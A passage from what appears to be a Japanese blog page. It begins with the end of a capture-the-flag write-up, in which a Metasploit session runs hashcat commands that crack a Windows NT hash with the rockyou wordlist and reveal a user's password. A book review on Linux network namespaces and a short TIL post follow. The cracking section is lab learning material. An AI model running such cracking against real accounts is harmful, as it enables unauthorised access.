msf6 auxiliary(analyze/crack_windows) > set MSCASH false
MSCASH => false

msf6 auxiliary(analyze/crack_windows) > set ACTION hashcat
ACTION => hashcat

msf6 auxiliary(analyze/crack_windows) > set CUSTOM_WORDLIST /usr/share/wordlists/rockyou.txt
CUSTOM_WORDLIST => /usr/share/wordlists/rockyou.txt

msf6 auxiliary(analyze/crack_windows) > run

[+] hashcat Version Detected: v6.1.1
[*] Hashes Written out to /tmp/hashes_tmp20201206-7562-1lgix4r
[*] Wordlist file written out to /tmp/jtrtmp20201206-7562-18iv616
[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in incremental mode...
[*]    Cracking Command: /usr/bin/hashcat --session=M3L0hToB --logfile-disable --potfile-path=/home/kali/.msf4/john.pot --hash-type=1000 -O --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20201206-7562-1lgix4r
[*] Cracking nt hashes in wordlist mode...
[*]    Cracking Command: /usr/bin/hashcat --session=M3L0hToB --logfile-disable --potfile-path=/home/kali/.msf4/john.pot --hash-type=1000 -O --attack-mode=0 /tmp/hashes_tmp20201206-7562-1lgix4r /tmp/jtrtmp20201206-7562-18iv616
[+] Cracked Hashes
==============

 DB ID  Hash Type  Username  Cracked Password  Method
 -----  ---------  --------  ----------------  ------
 3      nt         jon       alqfna22          Wordlist

[*] Auxiliary module execution completed

解析できましたね。jon というユーザーのパスワードが alqfna22 ということがわかりました。

5. Find flags!

meterpreter > search -f flag*.txt を実行すればほぼ終わったようなものなので、詳細は省きます。

おわりに

大体の手順は分かったので後は精進します。

参考文献

jlajara.gitlab.io

medium.com

http://www.byakuya-shobo.co.jp/hj/moh2/pdf/moh2_p146_p149.pdf

github.com

「Linuxで動かしながら学ぶTCP/IPネットワーク入門」はいいぞという話

はじめに

こやつを読みました。

www.amazon.co.jp

前から気にはなっていて、Kindle Unlimited で読めることがわかったので、1 日かけて(実際は 3 時間程度)読んでみました。

どんな内容か

基本的には Linux の Network Namespace という機能を使って、分離されたネットワーク環境を作り、その上で色々実験するという感じの内容です。 例を挙げると、たとえば

  • ルータなしで、同一のネットワークセグメントにある 2 つのホスト同士で通信する

  • ルータありで、異なるネットワークセグメントにある 2 つのホスト同士で通信する

  • DHCP サーバを立てて IP アドレスを取得する

  • ルータで Source NAT, Destination NAT を行うよう設定する

などをやっていきます。すべて Linux の機能を使って実験できるので、実際に機器を買ったり、ネットワークシミュレータを導入する必要はないです。

感想

実は、今会社で「マスタリング TCP/IP」の輪講会に参加していますが、理論よりな本なもので、実際のネットワークではどうなっているのか想像しづらく困っていました。「マスタリング TCP/IP」に比べて、本書の内容は手を動かしながら実験し、結果を確認できるものなので頭にインプットしやすかったです。本書の実験を行うことで「マスタリング TCP/IP」で勉強したことを再確認でき、理解の助けになりました。

また、TCP/IP の知識だけではなく、手を動かしていく中で以下の知識を得ることもできました。

  • Linux の Network Namespace, veth, bridge 周りの知識

  • ip, tcpdump, iptables などのコマンドの使い方

Network Namespace や veth、bridge などのワードはちょこちょこ見かけてはいましたが、私自身よくわかってなかった技術だったので、これらの技術について勉強できたことは思わぬ収穫でした。

おわりに

TCP/IP 関連の技術書を読んで、「プロトコルの解説ばっかされてもよくわかんないよお…ふぇぇ…」と困っているあなたにおすすめです。

TIL: This week I Learned

はじめに

今週最大の知見は、Laravel でテストを書くとき、data provider 内にはファサードやヘルパ関数が一切使えないという事実。

TIL

PHP

Python

Unix

C/C++